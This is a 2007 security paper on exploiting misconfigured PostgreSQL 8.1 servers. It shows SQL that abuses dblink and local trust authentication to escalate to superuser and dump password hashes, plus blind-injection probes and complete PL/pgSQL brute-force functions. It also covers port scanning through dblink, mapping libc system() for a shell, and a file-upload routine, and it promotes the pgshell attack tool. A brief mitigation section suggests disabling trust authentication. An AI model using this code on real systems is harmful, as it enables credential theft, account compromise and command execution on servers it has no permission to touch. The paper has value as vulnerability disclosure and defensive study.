H a v i n g F u n W i t h P o s t g r e S Q L
Nico Leidecker
nfl@portcullis-security.com
June 05 2007
Table of Contents
1. Preface
2. dblink: The Root Of All Evil
2.1 Privilege Escalation
2.2 Brute-Forcing User Accounts
2.3 Port-Scanning Via Remote Access
3. Mapping Library Functions
3.1 Getting A Shell
3.2 Uploading Files
4. From Sleeping And Copying In PostgreSQL 8.2
5. Recommendation And Prevention
6. Introducing pgshell
7. References
8. Contact & Copyright
Elephant On The Rise
PostgreSQL is an open-source database management system (DBMS), released un-
der the BSD license with the current stable version of 8.2.3. It derived
from the POSTGRES project at the University of California, Berkeley starting
in 1986 [1]. POSTGRES's final performance in version 4.2 dated 1994 [2]
while PostgreSQL became one of the most popular DBMS today. In version 8.0
approximately 1 million downloads were recorded within seven months of its
release. The PostgreSQL project registers a number of significant users like
BASF, Fujitsu, Sun Microsystems or the U.S. Center For Disease Control and
Prevention [3].
1. Preface
This document presents a couple of ideas for exploiting weaknesses in typi-
cal PostgreSQL configurations. Most of these ideas won't be new but are
still difficult to find or easy to miss, most documentation aimed at data-
base administrators often do not address or overlook these issues.
The following examples where tested on PostgreSQL 8.1 and may differ from
previous versions. Version 8.2 brings further significant changes that are
discussed in section pgchanges.
2. dblink: The Root Of All Evil
The Database Link library (dblink) has been part of the PostgreSQL project
since version 7.2. As the name suggests it is used for interconnetions be-
tween remote databases. The contribution comes in handy, when, for instance,
data from a remote database needs to be included into a local database. Typ-
ical usage for the function is creating a view from a remotely executed
query:
CREATE VIEW entry_states AS SELECT * FROM
dblink('host=1.2.3.4
dbname=remotedb
user=dbuser
password=secretpass',
'SELECT id, title FROM entries')
AS remote_entries(id INT, title TEXT);
This is just a simple example showing how one might use dblink. But of more
interest are the ways in which this can be abused. The library itself was
not designed to allow misuse, but in combination with a poorly misconfigured
PostgreSQL it turns into a paradisiacal playground for people with curious
minds.
2.1 Privilege Escalation
The default PostgreSQL configuration from the sources has local trust au-
thentication enabled. Any connection made from the local host to the data-
base will be accepted and the user directly logged in without the need to
supply a password. It is hard to understand, why such a feature is part of
the default configuration and yet, the warning in the corresponding file
('pg_hba.conf') is unmistakable:
CAUTION: Configuring the system for local 'trust' authentication allows
any local user to connect as any PostgreSQL user, including the database
superuser. If you do not trust all your local users, use another authen-
tication method.
However an experienced PostgreSQL administrator probably won't get into
trouble with that, but people who are new to PostgreSQL or databases can
easily miss this and hence fail to disable the local trust authentication.
Having outlined above the dblink library, consider combining it with the lo-
cal trust authentication. This leads to the question: What happens if we use
dblink to connect to the local host?
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT column FROM sometable')
RETURNS (result TEXT);
The nested query will be executed with privileges of 'someuser' and return
the results to the current session. Generally it is accepted that the cur-
rent user is not a superuser. But once we know the name of a superuser, have
identified a host as having dblink installed and the local trust authentica-
tion enabled, we have a much greater scope. Here is an example from an un-
privileged user named 'someuser':
$ psql -U someuser somedb
somedb=> select usename, usesuper from pg_user where usename=current_user;
usename | usesuper
----------+----------
someuser | f
(1 row)
somedb=> select usename from pg_user where usesuper='t';
usename
---------
admin
(1 row)
To prove the point, we will try to query the password hashes from pg_shadow
first as the unprivileged 'someuser' and then via privilege escalation and
the user 'admin'.
somedb=> select usename, passwd from pg_shadow;
ERROR: permission denied for relation pg_shadow
somedb=> SELECT * FROM dblink('host=127.0.0.1 user=admin
dbname=somedb', 'select usename,passwd from pg_shadow') returns
(usename TEXT, passwd TEXT);
usename | passwd
----------+-------------------------------------
admin | md549088b3a87b8ce56ecd39259d17ff834
someuser | md5e7b0ce63e5eee01ee6268b3b6258e8b2
(2 rows)
These queries could of course be used within SQL injection attacks. Obvious-
ly an important requirment is identifying whether the dblink library is in-
stalled and the localtrust authentication enabled. Taking the most difficult
option, lets assume that we're facing a blind SQL injection attack, these
two simple queries would bring us the information we need:
SELECT
repeat(md5(1), 500000)
WHERE
EXISTS (SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2);
SELECT
repeat(md5(1),500000)
WHERE
EXISTS (
SELECT * FROM dblink('host=127.0.0.1
user=admin
dbname=somedb',
'SELECT 1')
RETURNS (i INT));
By being able to escalate privileges we are able to perform more interesting
functions. which are outlined in the following sections. But before we go
there, let's take a deeper look at dblink and what can be achieved without
privilege escalation.
2.2 Brute-Forcing User Accounts
If there is no local trust authentication enabled we can still attempt to
brute-force user accounts, perhaps there is even an account with a weak
password! A very straight forward way would be to send word by word in an
SQL injection query, embedded in a POST or GET request to the web server.
However, the unusual high amount of requests made may trigger IPS based de-
vices. So, another approach that only requires one or two requests and
leaves all the processing to the datbase is required, consider this; Using
PL/pgSQL, a loadable procedural language for the PostgreSQL database sys-
tem, which an administrator will have to have created by executing CREATE
LANGUAGE 'plpgsql'. We can verify its existance using:
somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
(1 row)
Eureka! So, it does exist and even better: By default, creating functions is
a privilege granted to PUBLIC, where PUBLIC refers to every user on that
database system. To prevent this, the administrator would have had to re-
voke the USAGE privilege from the PUBLIC domain:
somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
In that case, our previous query would output different results:
somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
(1 row)
However, we are allowed to use the language and thus can create arbitrary
functions. From this we create a function that compiles words and uses
them in a dblink connection string with the local host set as the target.
Additional, we need exception handling, as an error will be raised, if au-
thentication fails.
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
This purely incremental brute-force method will return the word it found as
the result following successful authentication or NULL. Unfortunately as
with all brute force techniques, this will have to run a for a long time and
may not yeld positive results. Another option is using words from within a
pre-compiled word list. One way to do to this, is to use the capabilities of
another remote database;
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
Depending on the data in the database, it would be wise to get the words
from the actual data. Here is a simple example of such a function, which
gets and queries every table and attribute of type TEXT from pg_attribute
and pg_class.
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
qry TEXT;
row RECORD;
word text;
BEGIN
FOR row IN (SELECT
relname, attname
FROM
(pg_attribute JOIN pg_type ON atttypid=pg_type.oid)
JOIN pg_class ON attrelid = pg_class.oid
WHERE
typname = 'text') LOOP
BEGIN
qry = 'SELECT '
|| row.attname || ' AS word ' ||
'FROM '
|| row.relname || ' ' ||
'WHERE '
|| row.attname || ' IS NOT NULL';
FOR word IN EXECUTE (qry) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
END;
END LOOP;
RETURN NULL;
END;
$$ language 'plpgsql';
This could be improved by splitting the result by spaces and by removing all
the unwanted special characters. But that's not to be done here
2.3 Port-Scanning Via Remote Access
When a connection attempt fails, dblink throws an `sqlclient_unable_to_es-
tablish_sqlconnection' exception including an explanation of the error. Ex-
amples of these details are listed below.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
a) Host is down
DETAIL: could not connect to server: No route to host Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
b) Port is closed
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
c) Port is open
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
or
DETAIL: FATAL: password authentication failed for user "name"
d) Port is open or filtered
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Unfortunately, there does not seem to be a way of getting the exception de-
tails within a PL/pgSQL function. But you can get the details if you can
connect directly to the PostgreSQL server. If it is not possible to get
usernames and passwords directly out of the system tables, the wordlist at-
tack described in the previous section might prove successful.
3. Mapping Library Functions
If we take a closer look at the way dblink is deployed, we find these lines:
CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS
’$libdir/dblink’,’dblink_connect’ LANGUAGE ’C’ STRICT;
This is a simple CREATE statement with the $libdir variable representing the
PostgreSQL library directory. After executing the query, a function is
mapped from the dblink library to dblink_connect(), which expects a single
TEXT argument. There are no restrictions on what libraries and what func-
tions are mapped or in what directory we find the libraries. Hence, we can
create a function and map it to any function of an arbitrary library ...
let's say `libc':
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS
'/lib/libc.so.6', ’sleep’ LANGUAGE ’C’ STRICT;
By default, a non-super user won't have permissions to create functions us-
ing the language `c'. But in the unlikely event that we are superuser or us-
ing the privilege escalation outlined above we can get access to a shell.
3.1 Getting A Shell
PostgreSQL offers a function for c strings, called CSTRING. This allows us
to not only map functions expecting integer arguments but also allows us to
transform TEXT structures into raw character arrays. And that opens us these
doors:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT;
Everything we do with system() will be executed in the server's context. It
is however unlikely this will be root.
3.2 Uploading Files
Experimenting with functions it is possible to open, write and close files.
Whilst there might be other methods by which we can undertake this, here is
an interesting method for sending chunks from a binary file to the database
server and then writing that data to a file. The funtions required are:
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS
’/lib/libc.so.6’, ’open’ LANGUAGE ’C’ STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS
’/lib/libc.so.6’, ’write’ LANGUAGE ’C’ STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS
’/lib/libc.so.6’, ’close’ LANGUAGE ’C’ STRICT;
Uploading binary data to a web server which is then forwarded to a database
server is likely to fail. For this to succeed we need to encode the binary
data into alpha numeric characters. Base64 encoding is our friend and the
friendly PostgreSQL server incoporates stored procedures to make that an
easy way. PostgreSQL will fork a process for every new connection, so that a
file descriptor will be lost after connection has been closed. Which means
we need to open the same file for every seperate piece of data we send. This
is not an problem, though. The following function opens, writes to and clos-
es a file, as well as decodes the base64 string before writing it to the
file:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
The numbers 522 and 448 in the open() function call are what ( O_CREAT |
O_APPEND | O_RDWR ) and S_IRWXU would stand for. Please note, that those
values might vary from operating systems.
4. From Sleeping And Copying In PostgreSQL 8.2
Many things in this paper rely on version 8.1 of the PostgreSQL database
management system and would not work or work differently in version 8.2. For
example within the new version there is a builtin sleep function called
pg_sleep. This function actually would make life easier. But another new
feature is the compatibility check which runs when loading libraries. Every
library intended for use with PostgreSQL must carry a magic block to identi-
fy itself. Of course, libc does not have that block and thus cannot be load-
ed. In short, we cannot use system() for executing shell commands and cannot
use write(), open() or close() for writing to files. But what we can do is
use the COPY command to write to files. Unfortunately we need superuser
privileges in order to copy data from a table to a file and we cannot write
binary data to a file. So the question is: Does writing ASCII data with low
privileges to a world writable directory like `/tmp' help us?! Probably not.
5. Recommendation And Prevention
The first thing one should do to prevent the attacks outlined here is to
disable the local trust authentication. Disabling it is done by commenting
or editing the default lines on the bottom in pg_hba.conf to something like:
local all all ident sameuser
host all all md5
This forces identification of any user connecting to the database from the
local host or a remote host. Privilege escalation via dblink is then no
longer possible.
To disable function mapping with arbitrary libraries it's probably best to
upgrade to the latest PostgreSQL version. But it would also be sufficient to
ensure all users have low privileges. Non-Superusers cannot map library
functions.
6. Introducing pgshell
`pgshell' is a Perl script that does, what has been covered in this paper.
It exploits SQL injections in order to gather information on the target sys-
tem, escalade privileges, spawn a shell and upload files. For a proper de-
scription, please refer to http://www.leidecker/pgshell/
7. References
[1] http://db.cs.berkeley.edu/postgres.html
[2] http://www.postgresql.org/about/history
[3] http://www.postgresql.org/about/users
8. Contact & Copyright
Nico Leidecker, nfl@portcullis-security.com
http://www.portcullis.co.uk - http://www.leidecker.info
Copyright (c) Portcullis Computer Security Limited 2007, All rights reserved
worldwide. Permission is hereby granted for the electronic redistribution
of this information. It is not to be edited or altered in any way without
the express written consent of Portcullis Computer Security Limited.
The information herein contained may change without notice. Use of this in-
formation constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its
use. Any use of this information is at the user's risk. In no event shall
the author/distributor (Portcullis Computer Security Limited) be held liable
for any damages whatsoever arising out of or in connection with the use or
spread of this information.
# milw0rm.com [2007-06-16]
